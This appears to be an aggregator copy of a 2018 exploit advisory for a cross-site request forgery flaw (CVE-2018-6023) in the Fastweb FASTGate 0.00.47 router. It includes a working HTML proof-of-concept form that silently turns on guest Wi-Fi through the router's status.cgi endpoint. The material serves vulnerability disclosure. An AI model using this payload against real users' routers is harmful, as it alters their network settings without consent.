Fastweb FASTGate 0.00.47 Cross Site Request Forgery

🗓️ 10 May 2018 00:00:00Reported by Raffaele SabatoType

packetstorm🔗 packetstormsecurity.com👁 34 Views

Fastweb FASTGate 0.00.47 CSRF vulnerability allows remote attackers to hijack user authentication for modifying configuration, leading to Guest Wi-Fi activation and Wi-Fi password change

Reporter	Title	Published	Views	Family All 9
0day.today	Fastweb FASTGate 0.00.47 - Cross-site Request Forgery	10 May 201800:00	–	zdt
CNVD	Fastweb FASTgate Cross-Site Request Forgery Vulnerability	15 May 201800:00	–	cnvd
CVE	CVE-2018-6023	11 May 201821:00	–	cve
Cvelist	CVE-2018-6023	11 May 201821:00	–	cvelist
Exploit DB	Fastweb FASTGate 0.00.47 - Cross-Site Request Forgery	10 May 201800:00	–	exploitdb
EUVD	EUVD-2018-17786	7 Oct 202500:30	–	euvd
exploitpack	Fastweb FASTGate 0.00.47 - Cross-Site Request Forgery	10 May 201800:00	–	exploitpack
NVD	CVE-2018-6023	11 May 201821:29	–	nvd
Prion	Cross site request forgery (csrf)	11 May 201821:29	–	prion

`# Exploit Title: Fastweb FASTgate 0.00.47 CSRF  
# Date: 09-05-2018  
# Exploit Authors: Raffaele Sabato  
# Contact: https://twitter.com/syrion89  
# Vendor: Fastweb  
# Product Web Page: http://www.fastweb.it/adsl-fibra-ottica/dettagli/modem-fastweb-fastgate/  
# Version: 0.00.47  
# CVE: CVE-2018-6023  
  
I DESCRIPTION  
========================================================================  
  
An issue was discovered in Fastweb FASTgate 0.00.47 device. A Cross-site  
request forgery (CSRF) vulnerability allows remote attackers to hijack the  
authentication of users for requests that modify the configuration.  
This vulnerability may lead to Gues Wi-Fi activating, Wi-Fi password  
changing, etc.  
  
II PROOF OF CONCEPT  
========================================================================  
  
## Activate Gues Wi-Fi:  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://192.168.1.254/status.cgi">  
<input type="hidden" name="_" value="1516312144136" />  
<input type="hidden" name="act" value="nvset" />  
<input type="hidden" name="hotspot_broadcast_ssid" value="1" />  
<input type="hidden" name="hotspot_enable" value="1" />  
<input type="hidden" name="hotspot_filtering" value="all" />  
<input type="hidden" name="hotspot_security" value="WPA2PSK" />  
<input type="hidden" name="hotspot_ssid" value="GUEST-Test" />  
<input type="hidden" name="hotspot_timeout" value="-1" />  
<input type="hidden" name="service" value="wl_guestaccess" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
III REFERENCES  
========================================================================  
http://www.fastweb.it/myfastpage/assistenza/guide/FASTGate/  
  
  
`

10 May 2018 00:00Current

0.2Low risk

Vulners AI Score0.2

EPSS0.00236